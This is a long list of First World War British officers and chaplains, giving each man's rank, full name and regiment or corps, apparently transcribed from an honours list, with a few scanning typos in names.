2nd Lt. John Stewart Calder, London Reg.
Capt. Angus Cameron RAMC
Lt. John Archibald Cameron, Yeomanry, attd. Cameron Highlanders
Tmp Lt. William Kealty Campbell RAMC
Tmp Lt. Percy Theodore Carden, General List, and Royal Flying Corps
2nd Lt. George Thomas Carpenter, Royal Engineers
2nd Lt. John William Carr, London Reg.
Lt. Arthur Hamilton Carter, Royal Lancaster Reg.
Tmp 2nd Lt. George Sidney Carter, East Surrey Reg.
Capt. Charles Denny Carus-Wilson, Yeomanry
2nd Lt. Roger Philip Castle, Royal Garrison Arty.
2nd Lt. Bernard Catling, Royal Field Arty. Spec. Reserve
Tmp Capt. Charles Launder Chalk, RAMC
Lt. Reginald M. Charley, Royal Flying Corps
Tmp 2nd Lt. John Harold Smith Christian, Royal Engineers
Lt. Cyril William Clarke, Liverpool Reg.
2nd Lt. Frederick Laurence Clarke, London Reg.
Tmp 2nd Lt. Geoffrey Read Garnett Clarke, Royal Field Arty.
Tmp Sub Lt. William Herbert Clarkson, Royal Naval Volunteer Reserve
Lt. John Scott Cockburn, Hussars
Tmp 2nd Lt. Arthur Hubert Cole, Royal Sussex Reg.
Capt. William Philip Coifox, Royal Field Arty.
Lt. Philip Hugh Lumsdeh Campbell Colquhoun, Royal Highlanders
Lt. Herbert Chichester Cory, Royal Field Arty.
2nd Lt. Arthur Gilmour Cowling, Royal Garrison Arty.
Tmp 2nd Lt. Charles Richard Cowper, East Surrey Reg.
Tmp Lt. Robert Frank Craighead, Army Ordnance Depot
Capt. William Nixon Craigs, Northumberland Fusiliers
Capt. Joseph Wilfrid Craven, RAMC
Tmp 2nd Lt. Thomas Edward Chapman Crosbie, Royal Irish Fusiliers
Capt. Cyril Crossley, Royal Field Arty.
Tmp Capt. Octavious Sydney Darby-Griffiths, North Lancashire Reg.
Tmp Lt. Howard Howells Davenport, South Wales Borderers
Tmp 2nd Lt. Charles Davidson, Royal Engineers
Tmp 2nd Lt. Douglas Card Davis, Machine Gun Corps
Tmp 2nd Lt. Frederick Albert Dawson, East Surrey Reg.
Lt. Bernard Lorenzo de Robeck, Royal Field Arty.
2nd Lt. Charles Vogan Dipnall, Royal Field Arty.
2nd Lt. Myles Dixon, Royal Engineers
2nd Lt. Charles Alban William Duffield, Royal West Kent Reg.
Tmp Capt. Henzell Howard Dummere, RAMC
2nd Lt. Hubert William Durlacher, London Reg.
Capt. Frederick Norman Eastwood, London Reg.
Tmp 2nd Lt. Leslie Edwards, Middlesex Reg., attd. North Lancashire Reg.
2nd Lt. Herbert Pearce Ellis, Yeomanry
Tmp Sub Lt. Edgar Archibald Elson, Royal Naval Volunteer Reserve
Tmp 2nd Lt. Leonard Llewellyn Evans, attd. Devonshire Reg.
2nd Lt. Allan Cameron Fairbrother, Nottinghamshire and Derbyshire Reg.
Tmp Sub-Lt. Kenneth Ian Macdonald Fegan, Royal Naval Volunteer Reserve
2nd Lt. Cecil Gordon Fenton, Royal Flying Corps
Capt. Stuart Frederick Maxwell Ferguson, Royal Field Arty.
Tmp Capt. James Edward McCormick Fetherstonhaugh, Royal Field Arty.
Capt. George de Cardonne Elmsall Findlay, Royal Engineers
Tmp 2nd Lt. William Fitzgerald, Machine Gun Corps
2nd Lt. John Hinton Fletcher, Royal Engineers
Lt. Thomas Forster, Royal Engineers
Capt. Archibald Francis Freeman, Yeomanry, attd. Royal Welsh Fusiliers
2nd Lt. Frederick Walter Fry, Worcestershire Reg.
Lt. Joseph Charles Gain, London Reg.
Lt. Wilfred Errol Gane, Royal Field Arty.
2nd Lt. Noel Garnett-Clarke, Royal Garrison Arty.
Tmp Capt. Edward John Langford Garstin, Middlesex Reg.
2nd Lt. Lionel Ghasemore Gates, London Reg.
Tmp 2nd Lt. George Pindon Geen, Royal Engineers
Lt. Harry Taylor Genet, Royal Engineers
Tmp Lt. Terence Genney, Royal Field Arty.
Tmp Capt. Frederick Charles Gillard, Royal Army Veterinary Corps
Tmp Lt. Geoffrey Ramsay Goldinghain, Royal Marine Light Inf., attd. Machine Gun Corps
2nd Lt. Edward Guy Medlicott Goodwin, Royal Garrison Arty.
2nd Lt. Frank Fleming Gow, Royal Field Arty.
2nd Lt. Percy Grange, Royal Field Arty.
2nd Lt. Robert Johnson Grant, Durham Light Inf.
2nd Lt. James Gray, Cameron Highlanders, attd. Royal Highlanders
Capt. Douglas Green, West Yorkshire Reg.
Tmp Lt. Ernest Arthur Gregory, Leicestershire Reg.
2nd Lt. John Vescy Gregory, Northumberland Fusiliers
Lt. Charles Lawrence Greig, Royal Field Arty.
2nd Lt. David George Griffiths, Royal Field Arty.
2nd Lt. Benjamin Ernest Gunns, Royal Field Arty.
Tmp 2nd Lt. Walter Pank Hack, Lincolnshire Reg.
Lt. Walter Churchill Hale, Royal Field Arty.
Hon. Lt. Johann Daniel Hamman, Intelligence Dept.
2nd Lt. Henry Hammond, Dorsetshire Reg. and Royal Flying Corps
Rev. Latimer Pollard Hardaker, Royal Army Chaplains' Dept.
Lt. William Birrell Hardie, Royal Field Arty.
Rev. Wilfrid John Harding, Royal Army Chaplains' Dept.
Lt. Reginald Bargreaves, South Lancashire Reg.
2nd Lt. Reginald Kirman Harper, Northumberland Fusiliers
Tmp Lt. Frank Eric Harrison, Royal Field Arty.
Tmp Lt. Alexander Ashworth Haworth, Royal Field Arty.
Tmp 2nd Lt. Frank Beckett Hayes, Machine Gun Corps
Lt. Cyril George Hein, Loyal North Lancashire Reg.
Lt. Harald Hewett, Royal Berkshire Reg. and Royal Flying Corps
2nd Lt. Norman Dudley John Hight, Essex Reg.
2nd Lt. Frederick William Pear Hodges, East Lancashire Reg.
Tmp Capt. Eric O'Neil Hogben, Army Cyclist Corps
Lt. Frank Haddon Holmes, Royal Engineers, and Royal Flying Corps
Tmp 2nd Lt. Norman Hope, General List
Lt. Arthur Henry Howard, Yeomanry, attd. West Yorkshire Reg.
Tmp 2nd Lt. Harry Howard, attd. Northumberland Fusiliers and Royal Flying Corps
2nd Lt. Richard David Howell, Welsh Reg.
Tmp 2nd Lt. Frank Hoyle, South Staffordshire Reg.
2nd Lt. Wilfred Hubball, North Staffordshire Reg.
Lt. Frederick Peter Hughes, Royal Engineers
Tmp 2nd, Lt. William Hughes, Bedfordshire Reg.
2nd Lt. Albert Edward Thomas Hunt, Royal Field Arty.
2nd Lt. Charles Baddon Spurgeon Hunter, Cameron Highlanders
Lt. George Robertson Hunter, Cameron Highlanders, attd. Royal Flying Corps
2nd Lt. James Lionel Hutchison, London Reg.
Tmp 2nd Lt. Henry Irwin, Liverpool Reg.
Lt. Henry James Ivens, Royal Field Arty.
Capt. Frederick Stephens Jasper, Royal Field Arty.
Tmp 2nd Lt. Vivian Henry Jenkin, East Yorkshire Reg.
2nd Lt. Thomas Stephen Jenkins, Royal Engineers
Tmp Lt. Thomas Banks Jenkinson, Cav., attd. Lancers
2nd Lt. Edwin Cyril Jervis, West Riding Reg.
2nd Lt. William James Johnston, Cameron Highlanders
Rev. William Alcuin Jones, Royal Army Chaplains' Dept.
2nd Lt. James Jordan, Dragoon Guards
Capt. William Joynson, Hussars
2nd Lt. Lionel Evelyn Graham Judge, North Lancashire Reg.
Tmp Lt. Kekhasru Sobraji Master Indian Medical Service
Lt. Lindsay Patrick Grellan Kelly, Lancers
Tmp Capt. Percy Hubert Keys, Royal Engineers
Lt. Walter Hayton Kirkconel, Royal Field Arty.
Lt. Geoffrey Knowles, Royal Field Arty.
2nd Lt. George William Koplick, East Yorkshire Reg., attd. Medium Trench Mortar Battery
Lt. Conrad T. Lally, Royal Flying Corps
Capt. Charles Willington Tremaine Lane, Dragoon Guards
2nd Lt. Frederick Joseph Larkin, London Reg.
2nd Lt. Herbert Russell Latimer, Royal Field Arty., attd. Trench Mortar Battery
Capt. Vincent Augustus Lawrence, North Lancashire Reg.
2nd Lt. Reginald John Wilson Ledingham, Royal Field Arty.
Tmp 2nd Lt. Thomas Lever, Liverpool Reg.
Tmp 2nd Lt. George Henry Lewis, Northumberland Fusiliers
Lt. Henry Watson Lindsley, Royal Field Arty.
Tmp Capt. John Tryweryn Lloyd RAMC
2nd Lt. John Local, East Yorkshire Reg.
Capt. Rupert Gordon Lockner, South Wales Borderers
Lt. Richard Cyril Longley, London Reg.
Capt. William Poulett Lousada, Norfolk Reg.
Capt. Archibald Moir Park Lyle, Yeomanry, attd. Royal Highlanders
Lt. Percy Hugh Beverley Lyon, Durham Light Inf.
Lt. John Michael Lyons, Royal Garrison Arty.
Lt. Richard Clarke Lyons, Royal Field Arty.
Tmp 2nd Lt. Donald Murray Macfarlane, Lancashire Fusiliers
Tmp Capt. James MacGregor RAMC
Lt. Kenneth John Macintosh, attd. Indian Army
Lt. Robert Maclntyre, Yeomanry, attd. Cameron Highlanders
2nd Lt. Hugh Peter Mackay, Seaforth Highlanders
Tmp Capt. James Murdoch MacKay RAMC
Lt. Robert Bruce Darrell MacLeod, Cameron Highlanders
Lt. Harry Dunbar Maconochie, Royal Engineers
2nd Lt. Phillip Mallett, Gloucestershire Reg.
Lt. Arthur Mann, Army Service Corps and Royal Flying Corps
Tmp 2nd Lt. William Thomas Manning, Machine Gun Corps
Tmp Capt. David Matthew RAMC
Lt. Frederick William Broadbent Maufe, Royal Field Arty.
2nd Lt. Walter James Manley, South Wales Borderers
Lt. Lionel Frederick Marson, Dragoon Guards
Tmp 2nd Lt. Gerald William Massey, South Wales Borderers
2nd Lt. Sydney Herbert Matthews, Yeomanry
Rev. Hugh McCalman, Royal Army Chaplains' Dept.
Capt. Alfred James Angel McCabe-Dallas, RAMC
2nd Lt. John Rankin McIlroy, Royal Inniskilling Fusiliers
Lt. James Reston McLeod, Royal Engineers
Capt. Philip McRitchie, RAMC
Lt. Charles Edward Hastings Medhurst, Royal Inniskilling Fusiliers, and Royal Flying Corps
2nd Lt. Wilfrid Law Mellor, Royal Engineers
Tmp Capt. John Homer Miller, Manchester Reg.
2nd Lt. Francis Sydney Milligan, Liverpool Reg.
Tmp 2nd Lt. Harry Mills, Royal Field Arty., attd. Medium Trench Mortar Battery
2nd Lt. Norman Crompton Mitchell, North Lancashire Reg.
Lt. Charles Raymond Mobberley, London Reg.
Lt. Benjamin Mollett, West Riding Reg.
2nd Lt. Peter Joseph Moloney, Royal Flying Corps
Tmp Lt. Frewen Moor, Royal Berkshire Reg.
Tmp Lt. William Shorland Mosse, Royal West Surrey Reg.
2nd Lt. Harold Alexander Mossnian, Royal Berkshire Reg.
Lt. Geoffrey Gore Moule, Hussars
Tmp 2nd Lt. Vivian Falconer Murdoch, Gordon Highlanders
Tmp 2nd Lt. John Joseph Murphy, Royal Irish Fusiliers
Tmp 2nd Lt. Cecil Frederick Nathan, General List and R.F.C
Tmp Lt. Robert Alexander Nicholl, Royal Engineers
Tmp 2nd Lt. Robert Rundle Nicol, attd. Essex Reg.
Tmp 2nd Lt. Louis Carverhill Nockels, North Lancashire Reg.
Lt. Dudley William John North, Hussars
Tmp 2nd Lt. Charles William Nott, South Wales Borderers
2nd Lt. Alphoeus Frederick Nye, Gordon Highlanders
Tmp Capt. Arthur David Openshaw, Essex Reg.
Lt. Arthur Walter Osborn, Royal Field Arty.
Lt. Ernest Trafford Owles, Royal Irish Fusiliers, and Royal Flying Corps
Tmp Lt. Cyril Joseph Oake, East Yorkshire Reg.
Capt. Gerard Edward Palmer, London Reg.
Tmp 2nd Lt. Leonard Oscar Parkes, Royal West Surrey Reg.
Lt. William Grindlay Paterson, Yeomanry, attd. Cameron Highlanders
Tmp Lt. Napier Edward Lewis Pearse, Royal Engineers
Tmp Lt. Arthur Hicks Peck, General List and Royal Flying Corps
Lt. Leonard Jasper Peck, Indian Army Reserve of Ofc.s attd. Indian Army
2nd Lt. Francis Grove Peddle, Northumberland Fusiliers
Capt. Edgar Percival RAMC
Tmp 2nd Lt. Reginald Thomas George Perkins, Army Service Corps
Tmp Sub-Lt. Arthur Morson Perry, Royal Naval Volunteer Reserve
2nd Lt. Walter Ernest Phillips, London Reg.
Lt. Charles Henry Pillman, Cav., attd. Dragoon Guards
Tmp 2nd Lt. William Pithouse, Machine Gun Corps
Tmp 2nd Lt. Frank Godwin Free Flatten, attd. Norfolk Reg.
2nd Lt. Hubert Christopher Barker Plummer, Durham Light Inf.
Tmp Lt. Henry Pollitt, Lancashire Fusiliers
Tmp Lt. George Alexander Porterfield, Worcestershire Reg.
Tmp Capt. Reginald Poole Pridham, Devonshire Reg.
2nd Lt. Charles Vernon Powell, Royal Garrison Arty.
Tmp Capt. Maurice Aloysius Power RAMC
Lt. Sylvester Lindsay Quine, Cheshire Reg. and Royal Flying Corps
Lt. Cyril George Radford, Nottinghamshire and Derbyshire Reg.
Tmp Capt. Reginald Thompson Raine, RAMC
Lt. Eustratio Lucas Ralli, Royal Field Arty.
Rev. John Edward Reilly, Royal Army Chaplains' Dept.
Tmp Lt. James Renwick, Royal Engineers
Capt. Gerald Nairne Reynolds, Lancers
2nd Lt. Thomas William Richardson, Royal Field Arty.
Tmp 2nd Lt. Robert Riddel, Argyll and Sutherland Highlanders
2nd Lt. George Thomas Roberts, London Reg.
Tmp Sub-Lt. Norman Roberts, Royal Naval Volunteer Reserve
Tmp 2nd Lt. William Roberts, Royal Welsh Fusiliers
Capt. Christopher Rogers RAMC
Capt. John Gray Ronaldson RAMC
Rev. Canon Arthur Edwin Ross, Royal Army Chaplains' Dept.
Lt. Hugo Donald Ross, Cameron Highlanders
2nd Lt. Evan William Rowlands, Durham Light Inf.
Tmp 2nd Lt. William Francis Russell, Leinster Reg.
2nd Lt. George Sheavyn Sale, Hussars
Tmp Capt. Lewis Gordon Sandford, Royal Field Arty.
Tmp Lt. William Mollison Sangster, Royal Engineers
Tmp 2nd Lt. Kenneth Gerald Sclanders, General List and Royal Flying Corps
2nd Lt. Charles Hubert Scott, Royal Garrison Arty.
2nd Lt. William Gunn Scott, Yeomanry, attd. Royal Highlanders
2nd Lt. William Scott-Moncrieff, Royal Field Arty.
2nd Lt. Thomas Willock Scroggie, Royal Field Arty.
Lt. Thomas Richard Barter Seigne, Royal Field Arty.
Tmp 2nd Lt. Donald Humphrey Sessions, General List and Royal Flying Corps
2nd Lt. Samuel Brian Shannon, London Reg.
2nd Lt. Frank Alan Sheen, Royal Engineers
Lt. Joseph Ashworth Shepherd, North Lancashire Reg., attd. London Reg.
2nd Lt. William Simpson, Lincolnshire Reg.
Tmp Lt. Harold Vincent Sims, Machine Gun Corps
2nd Lt. William Skeat, Essex Reg.
Lt. Howard Strong Smallman, Royal Field Arty.
Tmp Lt. Neville George Smith, Nottinghamshire and Derbyshire Reg.
Tmp Lt. Edward Coultrnan Snape, Royal Field Arty., attd. Trench Mortar Battery
Tmp Lt. Jerrold Bernard Solomon, Oxfordshire & Buckinghamshire Light Inf. and Royal Flying Corps
2nd Lt. Ralph Alfred Erskine Somerville, Royal Garrison Arty.
Lt. Leon Joseph Gustave Souchon, Hussars
2nd Lt. Herbert Sparling, West Riding Reg.
2nd Lt. Arthur Spencer, London Reg.
Capt. John Blanchard Springman, Yeomanry, attd. Royal Welsh Fusiliers
Capt. Wintringham Norton Stable, Yeomanry, attd. Royal Welsh Fusiliers
Tmp 2nd Lt. George Stevens, Royal Engineers
Tmp Lt. Charles Douglas Storrs, Royal Engineers
2nd Lt. Thomas William Tyler Street, Royal Engineers
2nd Lt. Gilbert Arthur Streeter, Royal West Surrey Reg.
2nd Lt. Albert Henry Streets, London Reg.
Tmp Lt. Maurice Strode, Royal West Surrey Reg.
2nd Lt. Thomas Studley, Royal Highlanders
2nd Lt. Glanville Syme, Seaforth Highlanders
Tmp 2nd Lt. James McEwen Thomson Taylor, Cameron Highlanders
Capt. Philip Herbert Teesdale, Royal Garrison Arty.
Tmp 2nd Lt. Charley Tennison, Royal Engineers
Tmp 2nd Lt. Alan Raymond Tetlow, Liverpool Reg.
2nd Lt. John Franklin Thomasson, Royal Field Arty.
Tmp 2nd Lt. John Taylor Thompson, Royal Engineers
Lt. Thomas Alexander Lacy Thompson, Northumberland Fusiliers
Lt. Stanley James Till, Royal Field Arty.
2nd Lt. William Harry Topliss-Green, Royal Field Arty.
Tmp Capt. Reginald Herman Tribe, RAMC
Capt. Charles William Rowland Tuke, Royal Field Arty.
Tmp Lt. Alfred John Tyler, General List and Royal Flying Corps
2nd Lt. Cyril Thomas Underhay, London Reg.
Lt. John Lyne Vachell, Royal Field Arty., attd. Royal Flying Corps
Tmp Capt. Henry Bernard van Praagh, Royal Marine Light Inf.
2nd Lt. Arthur Egbert Vautier, Royal Field Arty., attd. Trench Mortar Battery
Tmp 2nd Lt. Frank Walker, East Yorkshire Reg.
Tmp 2nd Lt. James Robinson Walker, Machine Gun Corps
2nd Lt. Matthew Henry Walker, Royal Field Arty.
Capt. Roger Beverley Walker, Yeomanry
2nd Lt. Charles Henry Wallington, Oxfordshire & Buckinghamshire Light Inf.
Tmp Lt. Cyril Michael Chavannes Ward, Machine Gun Corps
2nd Lt. Frank Denis Warren, Royal Field Arty.
Capt. Charles Louis Waters, Royal Berkshire Reg.
2nd Lt. Percy Frederick Watts, Bedfordshire Reg.
Tmp 2nd Lt. John Harold Webb, attd. Manchester Reg.
Tmp Capt. John Webster, Royal Field Arty.
Tmp 2nd Lt. Walter Kenneth Hutchison Welbourne, Royal Horse Arty.
Tmp Lt. Charles Weld, Leinster Reg.
2nd Lt. John Wellbelove, Royal Garrison Arty.
Tmp Sub-Lt. William Wellwood, Royal Naval Volunteer Reserve Reg.
Tmp Lt. John William Kinch Wernham, Royal Berkshire Reg.
Tmp Lt. Thomas Westby, Royal Marine Light Inf., attd. Machine Gun Corps
2nd Lt. Ralph Archibald White, Northumberland Fusiliers
Lt. Robert Percy Frith White, Royal Lancaster Reg.
Lt. Charles James Mackie Whittaker, Royal Garrison Arty.
2nd Lt. f. Raynsford Leopold Wemyss Whittaker, Royal Field Arty.
2nd Lt. Ralph Piggott Whittington-Ince, East Yorkshire Reg.
Capt. Humphrey Wolsey Wrightwick, London Reg., attd. Tank Corps
2nd Lt. Leslie Barnard Williams, General List and Royal Flying Corps
Tmp 2nd Lt. William Corbett Williamson, Royal Marine Light Inf.
Tmp Lt. Edwin Ernest Wilson, King's African Rifles
Rev. Bertram Wolferstan, Royal Army Chaplains' Dept.
Lt. John Herbert Greenwood Womersley, Royal Garrison Arty. and Royal Flying Corps
2nd Lt. Sydney George Wood, Northumberland Fusiliers, attd. Royal Engineers
Capt. John Francis Wortley, York & Lancaster Reg.
Tmp 2nd Lt. Albert Edmund Wright, South Staffordshire Reg.
Hon. Lt. and Riding Master Arthur Ernest Wright, Royal Field Arty.
Capt. Samuel Pearson Yates, Hussars
C.S. Maj. Alfred Edward Edwards, North Lancashire Reg.
C.S. Maj. John Love, London Reg.
C.S. Maj. Charles MacDonald, Manchester Reg.
C.S. Maj. James William Whiteside, Liverpool Reg.
Lt. Herbert Mayon Adams, Worcestershire Reg.
Tmp 2nd Lt. Peter Adamson, North Lancashire Reg.
Lt. Norman Greathed Alexander Alexander, Grenadier Guards
2nd Lt. Edward Bruce Allan, Lancashire Fusiliers
Capt. Charles Royle Allen, Manchester Reg.
Lt. Abraham Clifford Altham, Lancashire Fusiliers
Lt. Douglas John Amery-Parkes, Middlesex Reg., attd. Machine Gun Corps
Tmp Lt. Charles Archer, attd. West Yorkshire Reg.
Tmp Lt. Leslie Vernon Ardagh, Royal Field Arty.
Capt. Archibald Theodore Arrol
Tmp Lt. Francis Douglas Arundell, British South Africa Police
Capt. Robert Vacy Clifford Ash, RAMC
2nd Lt. Laurence Ashling, Hampshire Reg.
Tmp 2nd Lt. John Pennington Ashton, Machine Gun Corps
2nd Lt. John Augustus Samuel Aylward, Yeomanry
2nd Lt. Arthur Babbage, Gloucestershire Reg.
2nd Lt. Evan Murray Macgregor Balfour, Scots Guards
2nd Lt. William Treanor Ball, Liverpool Reg.
Lt. Wilfrid Barnard, King's Own Scottish Borderers
Capt. John Canning Lethbridge Barnett, Oxfordshire & Buckinghamshire Light Inf., and Royal Flying Corps
2nd Lt. Crocker Edmund Barrington, Royal Field Arty., and Royal Flying Corps
Tmp 2nd Lt. Robert Scott Barrowman, Royal Inniskilling Fusiliers
Tmp 2nd Lt. Basil Dixon Bate, General List attd. Royal Flying Corps
Tmp Lt. Ernest Montague Bates, Machine Gun Corps
2nd Lt. John Bateson, Royal Field Arty.
Tmp 2nd Lt. John Baxendale, Machine Gun Corps
2nd Lt. George-Beaumont, East Surrey Reg.
Tmp Lt. Nathaniel Harry Beedham, Nottinghamshire and Derbyshire Reg.
Lt. Richard George Garfield Beesley, Norfolk Reg.
Lt. George Clarence Beetham, York & Lancaster Reg.
Capt. Karl Vere Barker-Benfield Royal Garrison Arty.
Lt. Gorton Vaughan Bernays, West Riding Reg.
Capt. Arthur Joseph Beveridge RAMC
Capt. Henry Anthony Birkbeck, Yeomanry
Lt. Douglas Black, West Riding Reg.
Tmp 2nd Lt. James McKinlay Black, Highland Light Inf.
Capt. John Holiday Blackburn RAMC
2nd Lt. Alec Stuart Blacklaws, Royal Field Arty.
Lt. William Norman Bladen, North Staffordshire Reg.
Capt. Thomas Reginald Blain, Royal Lancaster Reg.
Lt. William Robert Blair, Argyll and Sutherland Highlanders
Lt. Harold Ernest Blunt, Yeomanry
Lt. John Boden Boden, Royal Field Arty.
2nd Lt. Eyton FitzGerald Bond, Royal Garrison Arty.
2nd Lt. Geoffrey Lezaire Bonsor, West Yorkshire Reg.
2nd Lt. William Harrison Bordass, Royal Field Arty.
Lt. Thomas James Bolle Bosvile, Rifle Brigade
Tmp Lt. Robert Matthew Boyle, Royal Inniskilling Fusiliers
Capt. Norman Napier Evelyn Bray, Indian Cav.
2ad Lt. James Brockman, Royal Field Arty.
Tmp 2nd Lt. Cecil Bernard Brooke, Machine Gun Corps
Tmp Lt. Ralph Seath Stark Brown, General List, and Royal Flying Corps
Lt. Oliver Campbell Bryson, Yeomanry, and Royal Flying Corps
Tmp Lt. James William Buckley, Royal Field Arty.
Tmp 2nd Lt. Paul Ward Spencer Bulman, General List, and Royal Flying Corps
2nd Lt. Alfred Haunsell Burman, Rifle Brigade, Spec. Reserve
Tmp Lt. Alexander Brown Burton, Highland Light Inf.
2nd Lt. John Lewen Byrne, Seaforth Highlanders
2nd Lt. David Dandie Cairnie, Seaforth Highlanders
Lt. Donald Campbell, Seaforth Highlanders
Capt. Donald Swinton Campbell, Yeomanry
Lt. Sir William Andrews Ava Campbell Yeomanry
Lt. Alexander James Walker Carnie, Gordon Highlanders
2nd Lt. William Alexander Christie Carr, Royal Field Arty.
2nd Lt. Frederick William Arthur Carter, Shropshire Light Inf.
Tmp 2nd Lt. John Cassidy, attd. Lancashire Fusiliers
Tmp 2nd Lt. Clifford Worthley Caswell, Middlesex Reg.
Lt. Michael Chapman, Grenadier Guards
2nd Lt. Thomas Chapman, Royal Warwickshire Reg.
Lt. Albany Kenneth Charlesworth, Dragoon Guards
Lt. Robert Leslie Chidlaw-Roberts, Hampshire Reg., and Royal Flying Corps
Lt. James Martin Child, Manchester Reg., and Royal Flying Corps
Tmp 2nd Lt. Leslie Howard Chivers, Machine Gun Corps
2nd Lt. Charles Lawrence Clarson, Royal Engineers
Tmp 2nd Lt. Harry Cleal, Essex Reg.
2nd Lt. Harold Gardiner Cobon, Yeomanry
Tmp 2nd Lt. Frank Cocker, Yorkshire Light Inf.
Tmp Lt. Harry Ronald Collier, King's Own Scottish Borderers
Lt. Arthur Edgar Gerald Collins, Royal Engineers
Capt. Dennis Comins, Royal Engineers
Lt. Edmund Samuel Winter Cooke, South Wales Borderers
2nd Lt. John Henry Cooper, Argyll and Sutherland Highlanders, and Royal Flying Corps
Tmp Capt. Joseph Victor, Cope RAMC
Tmp 2nd Lt. Thomas Charles Cooper, Royal Lancaster Reg.
Lt. Henry Frank Cornick, Royal Engineers
Tmp 2nd Lt. John Cowherd, Worcestershire Reg.
Tmp Lt. Thomas William Cox, Royal Inniskilling Fusiliers
Tmp 2nd Lt. Robert Miles Crabtree, West Yorkshire Reg.
Lt. Edward Archibald Crane, Royal Engineers
Rev. Kenneth Northcote Crisford, Royal Army Chaplains' Dept.
2nd Lt. Charles Henry Crouch, Royal Garrison Arty.
Tmp 2nd Lt. John Ison Cuffley, Machine Gun Corps
Capt. James Cuthbert, Royal Welsh Fusiliers
Lt. Charles Harry Rutherford Dain, Royal Engineers
Tmp 2nd Lt. Richard Edward Darnley, Army Service Corps
Capt. Charles O'Brien Daunt, Indian Cav.
Capt. Evan John Carne David, Yeomanry
Tmp 2nd Lt. James Douglas Davidson, attd. Rifle Brigade
Tmp 2nd Lt. David Morris Davies, attd. Welsh Reg.
2nd Lt. Thomas Talvin Davies, Welsh Reg.
2nd Lt. William Herbert Davies, Durham Light Inf.
Tmp 2nd Lt. James Ernest Davis, Royal Inniskilling Fusiliers
2nd Lt. Joseph Frederick Davis, Royal Engineers
2nd Lt. Walter Ernest Davis, Gloucestershire Reg., and Royal Flying Corps
Lt. Frank Henry Dear, Royal Sussex Reg., and Royal Flying Corps
Tmp 2nd Lt. Thomas William Deeves, Middlesex Reg.
Lt. Henry Eustace Bligh de Gruchy, Shropshire Light Inf.
Lt. Louis Anthony de Jongh, Royal Field Arty.
2nd Lt. William George Denereaz, Border Reg.
Tmp Capt. Charles Beauclerk Despard, Dragoons
Lt. Joseph Charles Brendin Devoy, Royal Dublin Fusiliers
Q.M. and Hon. Lt. James Dicks, Highland Light Inf.
Tmp Capt. David McMurray Dickson, RAMC
Lt. George Leishman Dickson, Highland Light Inf.
Lt. George Eric Attwood Disturnal, Royal Engineers
Lt. George Humphrey Stansfield Dixon, Royal Horse Arty.
2nd Lt. Priestly Donne, West Yorkshire Reg.
2nd Lt. William Charles Henry Dore, L.C.
2nd Lt. Thomas Crook Duckworth Royal Warwickshire Reg.
Lt. Joseph Hume Dudgeon, Dragoons
Lt. Ian Archibald James Duff, Dorsetshire Reg., and Royal Flying Corps
Lt. Edmund Lloyd Hain Dunkerton, York & Lancaster Reg.
Lt. S. Dutt, Indian Medical Service
Tmp 2nd Lt. Frank Eames, South Wales Borderers
Lt. Albert Ewan Earle, Yorkshire Light Inf.
Lt. Frederick Francis Edbrooke, Yeomanry
Tmp Lt. John Edmunds Edwards, Machine Gun Corps
2nd Lt. William Ace Edwards, Nottinghamshire and Derbyshire Reg.
Lt. Arthur Winterbottom Elliott, Bedfordshire Reg.
2nd Lt. Albert Ellwood, Royal Lancaster Reg.
2nd Lt. Arthur Bertram Entwistle, Leicestershire Reg.
Tmp Capt. Christmas Richard Evans, Welsh Reg.
2nd Lt. John Henry Evans, Royal Lancaster Reg.
Lt. William Alfred Everitt, Argyll and Sutherland Highlanders
2nd Lt. Arthur Everton, Royal Garrison Arty.
Tmp Lt. Harold Cecil Eves, Machine Gun Corps
Capt. Douglas Falconer, Gordon Highlanders
Tmp 2nd Lt. Sydney Ernest Farbon, attd. Northamptonshire Reg.
2nd Lt. Edward Fawcett, Durham Light Inf.
Capt. George Fenwick-Owen, Yeomanry
Capt. Fritz Eberhard Ferguson, West Yorkshire Reg.
2nd Lt. Robert Leighton Moore Ferrie, Royal Flying Corps
Capt. John Douglas Fiddes, RAMC
2nd Lt. Frank William Fielding, Nottinghamshire and Derbyshire Reg.
Lt. George Sidney Fillingham, Durham Light Inf.
2nd Lt. Philip Gerard Finch, Northumberland Fusiliers
Tmp 2nd Lt. John Finney, Royal Inniskilling Fusiliers
Lt. Richard Helden Forster, Middlesex Reg.
Lt. George Flett, Seaforth Highlanders
Tmp 2nd Lt. Hubert Charles Franklin, Royal Dublin Fusiliers
2nd Lt. John Courtney Fraser, Grenadier Guards, attd. Machine Gun Guards
Capt. John Henry Pearson Fraser RAMC
Tmp 2nd Lt. Ernest Howard Freer, Royal Engineers
Tmp Lt. Francis Aylmer Frost, Cav.
Capt. Joseph Lawrence Fry, Royal Field Arty.
2nd Lt. Percy Claude Furlong, Royal Field Arty.
Capt. Philip Jacob Gaffiin RAMC
Tmp 2nd Lt. Henry John Gale Royal Engineers
2nd Lt. David Menmuir Gall, Scottish Rifles
Tmp Capt. Hugh Bernard German, RAMC
Tmp Lt. Arthur Harry Ashfield Giles, Nottinghamshire and Derbyshire Reg.
Lt. Edward Giles, King's Own Scottish Borderers Spec. Reserve
Tmp Capt. Francis Joseph Glynn, Royal Field Arty.
Tmp Capt. Frederick William Goddard, Essex Reg.
2nd Lt. Archibald Gordon, Royal Garrison Arty.
Capt. James Hall McIntosh Gordon, Gordon Highlanders
Tmp Lt. Kenneth Gordon, Machine Gun Corps
2nd Lt. Herbert Victor Gould, Seaforth Highlanders
2nd Lt. John Kenneth Leslie Graham, Royal Field Arty.
Capt. Lancelot Cecil Torbock Graham, Indian Cav.
2nd Lt. Henry Herbert Brett Grain, Cambridgeshire Reg.
Tmp Capt. Frank Arthur Grange RAMC
Tmp 2nd Lt. John Alwyne Graves, attd. Lincolnshire Reg.
Tmp Capt. Edwin Allan Thomas Green, RAMC
2nd Lt. Alexander Anton Gunn, Seaforth Highlanders
Lt. Reginald Hale-White, Yorkshire Light Inf.
Tmp Capt. Augustus Henry Hall, Royal Irish Rifles
Tmp 2nd Lt. William Hall, Worcestershire Reg.
2nd Lt. Alexander Hunter Halliday, York & Lancaster Reg.
Tmp Lt. Arthur Collis Hallowes RAMC
Tmp Lt. Prank George Hamilton, Royal Fusiliers
2nd Lt. Cyril Elmore Hammond, Irish Guards
2nd Lt. Herbert Hardaker, West Riding Reg.
Capt. Henry Norman Harding, Yeomanry
Lt. The Hon. Alexander Henry Louis Hardinge, Grenadier Guards
Lt. Archibald Percy Harris, Royal Field Arty.
2nd Lt. Ernest Edward Harris, Gloucestershire Reg.
Lt. Eric William Harris, West Riding Reg.
